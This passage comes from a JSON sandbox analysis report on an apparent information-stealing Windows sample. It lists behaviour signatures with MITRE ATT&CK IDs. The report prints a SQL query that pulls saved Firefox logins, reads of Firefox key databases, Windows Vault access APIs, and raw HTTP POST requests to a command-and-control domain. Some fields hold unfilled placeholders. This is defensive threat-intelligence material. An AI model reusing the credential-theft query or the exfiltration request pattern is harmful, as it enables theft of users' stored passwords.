Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"sihost\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"sihost\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"sihost\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"SELECT encryptedUsername, encryptedPassword, formSubmitURL, hostname FROM moz_logins\" (Source: 40723-341-0040955B, Indicator: \"select encryptedusername, encryptedpassword, formsubmiturl, hostname from moz_logins\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"sihost\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"sihost\" has an writable section named \".data\"\n \"sihost\" has an writable section named \".xusiwon\"\n \"sihost\" has an writable section named \".risenup\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"sihost\" file has an entrypoint instructions - \"call\t0x409512,jmp\t0x405746,push\tedi,mov\teax, esi,and\teax, 0xf,test\teax, eax,jne\t0x40598c,mov\tedx, ecx,and\tecx, 0x7f,shr\tedx, 7,je\t0x40593a,jmp\t0x4058dd,lea\tebx, [ebx],movdqa\txmm0, xmmword ptr [esi],movdqa\txmm1, xmmword ptr [esi + 0x10],movdqa\txmm2, xmmword ptr [esi + 0x20],movdqa\txmm3, xmmword ptr [esi + 0x30],movdqa\txmmword ptr [edi], xmm0,movdqa\txmmword ptr [edi + 0x10], xmm1,movdqa\txmmword ptr [edi + 0x20], xmm2,movdqa\txmmword ptr [edi + 0x30], xmm3,movdqa\txmm4, xmmword ptr [esi + 0x40],movdqa\txmm5, xmmword ptr [esi + 0x50],movdqa\txmm6, xmmword ptr [esi + 0x60],movdqa\txmm7, xmmword ptr [esi + 0x70],\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".data\" is \"0x38a728\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"sempersim.su\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"sihost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"sihost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"C:\\Windows\\system32\\ADVAPI32.dll\" [Source: 00000000-00003192.00000002.71621.00246000.00000040.mdmp]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"POST /a12/fre.php HTTP/1.0\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\nHost: sempersim.su\nAccept: */*\nContent-Type: application/octet-stream\nContent-Encoding: binary\nContent-Key: 7556D7A0\nContent-Length: 192\nConnection: close\"\n \"POST /a12/fre.php HTTP/1.0\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\nHost: sempersim.su\nAccept: */*\nContent-Type: application/octet-stream\nContent-Encoding: binary\nContent-Key: 7556D7A0\nContent-Length: 165\nConnection: close\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"sihost\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"sihost\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"sihost\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"GetUserNameExW@SSPICLI.DLL at 00000000-00003192-40723-76-004063B2","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"sihost.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b\" has type \"data\"- Location: [%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b]- [targetUID: 00000000-00003192]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"sihost.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\mozilla\\firefox\\profiles.ini\"\n \"sihost.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\mozilla\\firefox\\profiles\\g4h7miqt.default\\secmod.db\"\n \"sihost.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\mozilla\\firefox\\profiles\\g4h7miqt.default\\cert8.db\"\n \"sihost.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\mozilla\\firefox\\profiles\\g4h7miqt.default\\key3.db\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$2c","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$2d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$2e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"sihost.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-2092356043-4041700817-663127204-1001\\7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b\"\n \"sihost.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\b52c16\\66e7f2.lck\"\n \"sihost.exe\" writes file \"%appdata%\\microsoft\\crypto\\rsa\\s-1-5-21-2092356043-4041700817-663127204-1001\\7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /a12/fre.php\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WinHttpReadData\" (Indicator: \"WinHttpReadData\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"GetNamedPipeHandleStateW\" (Indicator: \"GetNamedPipe\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Network Related","name":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]","description":"Found reference to \"SmtpServer\" (Indicator: \"SmtpServer\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to \"SmtpServer\" (Indicator: \"SmtpServer\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-618","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"Found reference to API \"WinHttpReadData\" (Indicator: \"WinHttpReadData\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.0.2.1\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"#:.Nu\"\n Heuristic match: \"=W.kH\"\n Heuristic match: \"sempersim.su\"\n Heuristic match: \"ckav.ru\"\n Heuristic match: \"Fuckav.ru\"\n Pattern match: \"http://www.ibsensoftware.com/\"\n Heuristic match: \"uckav.ru\"\n Heuristic match: \"BAT;.CG\"\n Pattern match: \"www.digicert.com1402\"\n Heuristic match: \"empersim.su\"\n Pattern match: \"https://sempersim.su/a12/fre.php\"\n Heuristic match: \"Host: sempersim.su\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$30","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.0\" (Indicator: \"HTTP/1.0\"; Source: \"00000000-00003192.00000003.72568.00259000.00000004.mdmp\")\n Found string \"2/fre.php HTTP/1.0\" (Indicator: \"HTTP/1.0\"; Source: \"00000000-00003192.00000003.72568.00259000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"ncacn_np\" (Indicator: \"ncacn_np\"; Source: \"00000000-00003192.00000002.71621.00259000.00000004.mdmp, 00000000-00003192.00000003.72568.00259000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access Windows Vault","description":"Found string \"VaultEnumerateItems\" (Indicator: \"VaultEnumerateItems\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found string \"VaultEnumerateVaults\" (Indicator: \"VaultEnumerateVaults\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found string \"VaultFree\" (Indicator: \"VaultFree\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found string \"VaultGetItem\" (Indicator: \"VaultGetItem\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found string \"VaultOpenVault\" (Indicator: \"VaultOpenVault\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found string \"VaultCloseVault\" (Indicator: \"VaultCloseVault\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":1,"id":"string-627","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"sihost.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"sihost.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"sihost.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000040000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$31","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; File: \"sihost\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; File: \"sihost\")\n Found reference to API \"1011298699,2916,3112,,FindFirstFileW,kernel32.dll,\"252:03:43.062\",RX=0,PX=0\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00003192.00000001.69702.00259000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"sihost\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"sihost\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"sihost\")\n Found reference to API \"LdrGetProcedureAddress\" (Indicator: \"LdrGetProcedureAddress\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to API \"LdrGetProcedureAddress\" (Indicator: \"LdrGetProcedureAddress\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; File: \"sihost\")\n Found reference to API \"GetTempFileNameA\" (Indicator: \"GetTempFileName\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"sihost\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"form_password_control\" (Indicator: \"password\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found string \"password_value\" (Indicator: \"password\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found string \"password-check\" (Indicator: \"password\"; Source: \"00000000-00003192.00000000.67782.00259000.00000004.mdmp\")\n Found string \"form_password_control\" (Indicator: \"password\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")\n Found string \"password_value\" (Indicator: \"password\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information 